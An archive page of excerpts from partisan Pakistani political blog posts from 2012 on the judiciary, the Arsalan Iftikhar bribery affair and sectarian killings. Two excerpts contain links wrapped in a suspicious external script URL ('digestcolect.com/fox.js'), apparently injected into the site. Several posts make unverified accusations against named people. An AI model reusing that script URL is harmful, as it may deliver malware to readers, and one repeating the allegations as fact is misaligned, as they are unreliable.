Original Articles Archive
Justice or revenge? – by Realistic Voice: After four years of day and night struggle, honorable Chief Justice and his puppets (clapping hands) have succeeded to hunt the elected Government. At this very inappropriate time when the whole world is focusing on the issues of NATO
Raja Rental? Pakistan’s new PM Raja Pervez Ashraf is guilty until proven guilty – by Ravez Junejo: Related posts: #IftikharMental: Pakistan social media abuzz with insult for country’s top judge Five facts which go in favour of Pakistan’s new PM Raja Pervez Ashraf – by Ali Tahir On June 24, the newly elected Prime Minister of
Quetta Attack on Tablighi Jamaat : Intra-Deobandi feud must not be presented as Sunni-Shia sectarian violence: Related posts: Plot thickens: ISI strikes back by killing non-compliant Deobandis – by Sheherzade Adil Daily Jang is helping ISI to manufacture Sunni-Shia sectarian violence in Quetta – by Ali Muntaziri Continued pattern of misrepresentation by Jang to create
Target kilings of Ahmadis in Pakistan at the hands of Deobandi ASWJ and TTP militants: Let’s start from an incident which was widely ignored or diluted in Pakistan’s mainstream media: Ahmadi Muslim shot by Deobandi ASWJ terrorists in Baldia Town, Karachi Karachi (Saeedabad, Baldia town – 24 June 2012) – Aslam Bhatti, an Ahmadi
RIP Obaidullah Baig: Another illustrious period in the history of Urdu literature came to an end with the death of Obaidullah Baig in Karachi on June 22, 2012. Getting fame from a TV show Kasauti, Obaidullah Baig became an instant celebrity because
CJ Iftikhar Chaudhry should be asked to appear before Parliamentary Committee on Rules of Procedure and Privileges: Related post: Pakistan’s elected parliament must remove Chief Justice Iftikhar Chaudhry In the light of recent commentaries by leading Pakistani and international lawyers including but not limited to Asma Jahangir, Justice Markandey Katju (Indian Supreme Court), Saroop Ijaz etc,
#IftikharMental: Pakistan social media abuzz with insult for country’s top judge: Related posts: Raja Rental? Pakistan’s new PM Raja Pervez Ashraf is guilty until proven guilty – by Ravez Junejo Five facts which go in favour of Pakistan’s new PM Raja Pervez Ashraf – by Ali Tahir 22 June 2012
Daily Times, the latest pen-killer of Shia Hazaras of Quetta – by Ali Muntaziri: Update/Editor’s note: Op-ed editor of Daily Times has now apologized and assured to be extra careful in the future. We appreciate this gesture and hope the mainstream media will publish factual and sympathetic articles on Shia Hazaras, one of
Is Pakistan’s elected PM slightly less competent and way more corrupt than an average traffic cop?: Here is a quick comment on false neutrality which is a glaring feature of Mohammed Hanif’s recent article published in The Guardian. In his apparent criticism of an overstepping and politically biased Supreme Court, Mohammed Hanif tries to maintain false neutrality
Murder of Democracy in Pakistan – by Banda-e-Khuda: Why go through this gradual decay of democracy, why not make Ayman al-Zawahiri the Khalifa of Pakistan and be done with it. The Army is playing with the judiciary and democracy in Pakistan. It is a shameful day for
Continued pattern of misrepresentation by Jang to create more Shia genocide – by Banda-e-Khuda: Related posts: Daily Jang is helping ISI to manufacture Sunni-Shia sectarian violence in Quetta – by Ali Muntaziri Plot thickens: ISI strikes back by killing non-compliant Deobandis – by Sheherzade Adil Whilst every electronic and print media source has
Daily Jang is helping ISI to manufacture Sunni-Shia sectarian violence in Quetta – by Ali Muntaziri: Related posts: Plot thickens: ISI strikes back by killing non-compliant Deobandis – by Sheherzade Adil Jang wants to spark Sunni-Shia violence in Quetta to cover up Shia genocide by ISI-backed Jihadis Whilst every electronic and print media source has
Islami adalat lekin tirchi nigahen – by Syed Al Hassan: Cover note by the author Since long time I was thinking to make a website in support of PPP because I was tired of watching TV programs against PPP. There was no platform to say my words independently. But
We will not let Shaheed Benazir Bhutto’s blood go in vain – by Saria Benazir: Tribute to the Daughter of Destiny, Shaheed Mohtarmah Benazir Bhutto. Lyrics by Nazir Qaiser Singer Sehyr S. Mirza http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&www.youtube.com/watch?v=i27eWsXsVbI
Sindh ji Rahri Benazir ji salgarah ji mubarak hujai – by Saria Benazir: Benazir Bhutto – the tone, my heart had always hankered to heed to, a sensation that encompasses my endurance and has become the very rationale of my prolongation. Nevertheless, when I initiate to corral about that ceaseless essence, my
Dictator Zardari Gets Slapped by Supreme Guardians of Justice – by Riaz Malik Hajjaji: I am sure that Pak Fauj appreciates how Moeed Yusuf, Shuja Nawaz and their colleagues watch out for them in Imperialist Amrika – even more when some of them dilute their mild criticism of army generals by also pointing towards the civilian “kleptocrats”
Raza Rumi’s apologetic insights on PM Gilani’s disqualification: Disclaimer: We have been informed that the views expressed by Mr. Rumi in his articles are his own, and should not be seen or presented as those of Jinnah Institute. Despite our agreements with Mr. Rumi on certain issues,
Pakistani Supreme Court has gone overboard – by Justice Markandey Katju (Supreme Court of India): Related posts: Constitutional misbehaviour of the Pakistan Supreme Court (Part II) -by Justice Markandey Katju Justice Louise Arbour concerned about direction of Pakistan’s Supreme Court Note: We applaud Justice Katju’s bold and principled stance on the Judicial Coup in
Pakistan’s CJ and 46583 slaps – by Raja M Asad Abbas: “Tareekh meain kisi judge ka nahi, awam ka faisla zinda rehta hae” (It is not the judges’ but the nation’s verdict which survives the course of history). These were the words spoken by President Asif Ali Zardari when he
Toxic influence of senior columnists on young writers in The Friday Times – by Irfan Qadri: The Friday Times, edited by Najam Sethi (the 80-20 mix fame) and Raza Rumi (who is also a Director of ISI-backed Jinnah Institute), continues to misrepresent State-sponsored Shia genocide as Sunni vs Shia sectarian violence. Latest issue of The
Benazir Bhutto’s words scared the boots more than the enemy’s tanks – by Saria Benazir: For the masses she was no less than a saint – she was the Bhutto’s daughter! Zulfikar Ali Bhutto – who was the founder of Pakistan. After five years of her assassination, I am constrained to whittle in blood
The day justice was dispensed! – by Bahadar Ali Khan: A malifide intended PM has been disqualified. Every one on the streets is reciting ‘Va ja ul-hukke va zahaq-al-batil, Innul batila kana zahuka’. Finally piety, chastity and good has prevailed. There is fresh breeze of purity that is causing
Sharam Wadi Shay Jenah Khay Daatar Diyaray – by Raza Baloch: There is a famous poetry and saying in Sindhi language “Sharam Wadi Shay Jenah Khay Daatar Diyaray” which is close to “shame is good thing but if someone, have it”. A tough contest was expected during by-polls held in
A sample of typical reactions to massacre of Shia Muslims in Pakistan – by Anas Abbas: Specimen news: 20 Shia Muslims gunned down in Quetta. Lashkar-e-Jhangvi (aka Ahle Sunnat Wal Jamaat, a sister organization of Al Qaeda) claims responsibility. Typical reactions: 1) Imran Khan: I condemn them but War on Terror is responsible. Zardari is
Judicial coup in Pakistan deflects attention from CJ’s son’s graft case: The Supreme Court, in claiming to represent the will of the people, has removed from power the people’s representative, saying that Prime Minister Yusuf Raza Gilani stood disqualified from being a member of parliament and hence the office of the
Injustices Iftikhar et al, the Rottweilers of Aabpara, take a big bite off the PPP: By Ikhtiar Hussain Injustice Iftikhar might have been barking when he read the verdict against the Gillani who as prime minister represented 180 million people of Pakistan. His arrogance and sense of victory over Pakistan People’s Party (PPP) was
We condemn army sponsored judical coup in Pakistan: We condemn Pakistan army sponsored Judicial Coup in Pakistan, which is an indirect attack by Pakistan’s military estabilshment on nascent democracy in this country. A three-member bench, comprising Chief Justice Iftikhar Mohammad Chaudhry, Justice Jawwad S. Khawaja and Justice
Alleged bribe by Malik Riaz: In response to Marvi Sirmed’s plea of innocence: Related post: Lifestyle Liberals and Political Liberals: Is LUBP a hurdle in the way of unity of liberals? http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&shar.es/Cm14D Disclaimer: LUBP does not endorse the impression that any journalist took bribes from real estate tycoon Malik Riaz. Readers can
Arsalan-gate: Time to be patient! – by Saad Mansoor: The implication of Chief Justice Iftikhar Muhammad Chaudhry’s son is being considered by the political class of Pakistan in general and the supporters of Pakistan Peoples Party in particular to be a divine gift descended from heavens. In talk
Shia genocide: 5 students killed as bomb hits university bus in Quetta: Quetta: June 18 – State-sponsored Shia genocide entered new phase in Pakistan today when a bus of Shia students was targeted in Quetta. The students were proceeding to attend a holy gathering (Eid-e-Meraj) which is revered by both Sunni
RIP Fauzia Wahab: LUBP editors are extremely saddened to learn about the untimely death of Pakistan Peoples Party’s senior leader Fauzia Wahab. Through this post, we wish to convey our sincerest condolences to her family and millions of fans and supporters within
LUBP Special: Documentary evidence of payments made to Pakistan’s Chief Justice’s son Arsalan Iftikhar: LUBP is publishing exclusive documents which show that Dr. Arsalan, son of Pakistan’s Chief Justice Iftikhar Chaudhry, did indeed accept bribery from Malik Riaz of Bahria Town in monetary and non-monetary forms. We have received these documents from at
Nasim Zehra’s resignation, a proper class act: Related posts: LUBP archive on Nasim Zehra Context June 14, 2012: The upheaval at Dunya TV continued Thursday as Nasim Zehra, the channel’s Director Current Affairs resigned over a leaked video of behind the scene conversations of a special
PM disqualification case: The Supreme Court had another hearing on the long-drawn Prime Minister (PM) disqualification saga. After having being convicted of contempt of court, for not following up with Court’s order. PM Yousaf Raza Gilani was referred to the speaker of the
Did Prince Nayef bin Abdulaziz Al Saud, the Shia killer, die of AIDS?: Prince Nayef who won great notoriety by killing thousands of innocent Saudi Shias, has mysteriously died. No serious illness was reported. In fact, he was shown only 3 days ago greeting his guests in Geneva where he had been
Thank you, Malik Riaz, for revealing names of for-sale anchors and columnists: For the last four years, LUBP and various sister blogs (Pakistan Blogzine, Al Ufaq, Ahmadiyya Times, Khyber Watch, Baloch blogs etc) have been trying to educate Pakistan’s middle class that majority of journalists and anchors in mainstream media (both
We condemn attack on the shrine of Prophet Muhammad’s granddaughter by Saudi sponsored terrorists: Related post: SOS from Damascus: Save the Lives of Shia and Sunni Sufi Muslims and Shrines in Syria LUBP Editor’s note: While Pakistan’s mainstream (electronic and print, Urdu and English) media is busy in baiting, trapping and mud-slinging one
Pir Hakeem Wahab and Murid Iftikhar Chaudhry: You thought only Nawaz Sharif and Zardari had a Pir (spiritual leader)? Apparently Chief Justice Iftikhar Chaudhry’s Pir Hakim Wahab too was a part of the Bahria Town graft arrangements between Malik Riaz and CJ’s son Dr. Arsalan. Property
CJ Iftikhar Chaudhry’s friend arrested by NAB in Rs. 6 billion fraud: Mr. Nadeem Ahmed Advocate, owner of the law firm (Ahmed & Qazi) which works for the usual suspects (Mir Shakil-ur-Rehman, PCO Judges, Akram Sheikh, ISI etc), has been arrested in a Rs 6bn fraud by the National Accountability Bureau
Farhad Jarral owes me an apology – by Ravez Junejo: June 13, 2012: I log on to my Facebook account and find a message in my inbox. It’s from a man whom I know from his Facebook profile (let’s call him Abdul Basit Chaudhry aka ABC). He asked me